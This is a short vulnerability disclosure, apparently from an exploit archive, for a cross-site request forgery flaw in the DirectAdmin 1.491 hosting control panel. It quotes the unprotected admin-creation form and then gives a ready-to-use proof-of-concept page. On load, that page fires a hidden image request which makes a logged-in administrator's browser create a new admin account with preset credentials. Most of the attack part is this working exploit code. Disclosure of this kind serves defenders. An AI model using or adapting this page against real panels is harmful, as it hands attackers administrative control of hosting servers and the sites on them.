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DirectAdmin 1.491 Cross Site Request Forgery

Posted on 19 February 2016

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# Title : DirectAdmin (1.491) CSRF Vulnerability
# Date : 27-10-2014 updated 18-02-2016
# Version : >=1.491
# Author : Necmettin COSKUN =>@babayarisi
# Blog :http://ha.cker.io
# Vendor : http://www.directadmin.com/
# Download: http://www.directadmin.com/demo.html
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# info : DirectAdmin is a web-based hosting control panel.

#As you can see original form doesn't include csrf protection or any secret token.
<form name=reseller action="CMD_ACCOUNT_ADMIN" method="post" onSubmit="return formOK()">
<input type=hidden name=action value=create>
<tr><td class=list>Username:</td><td class=list><input type=text name=username maxlength=12 onChange="checkName()"></td></tr>
<tr><td class=list>E-Mail:</td><td class=list><input type=text name=email onChange="checkEmail()"></td></tr>
<tr><td class=list>Enter Password:</td><td class=list><input type=password name=passwd> <input type=button value="Random" onClick="randomPass()"></td></tr>
<tr><td class=list>Re-Enter Password:</td><td class=list><input type=password name=passwd2 onChange="checkPass()"></td></tr>
<tr><td class=list>Send Email Notification:</td><td class=list><input type=checkbox value="yes" name=notify checked> <a href="javascript:showAdminMessage();">Edit Admin Message</a></td></tr>

<tr><td td class=listtitle colspan=3 align=right>
<input type=submit value="Submit">
</td></tr>
</form>

#POC
<html>
<head>
<title>POC</title>
</head>
<script language="javascript">

function yurudi(){
var adress ="www.demo.com";
var username="demo";
var email ="demo@demo.com";
var password="12345";
var urlson="https://"+adress+":2222/CMD_ACCOUNT_ADMIN?action=create&username="+username+"&email="+email+"&passwd="+password+"&passwd2="+password;

document.getElementById("resim").src=urlson;
}
</script>

<body onload="yurudi()">
<img id="resim" src="" style="height:0px;width:0px;"></img>
</body>
</html>
#POC

# don't be evil!
Discovered by:
================
Necmettin COSKUN |GrisapkaGuvenlikGrubu|4ewa2getha!

 

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Malware :

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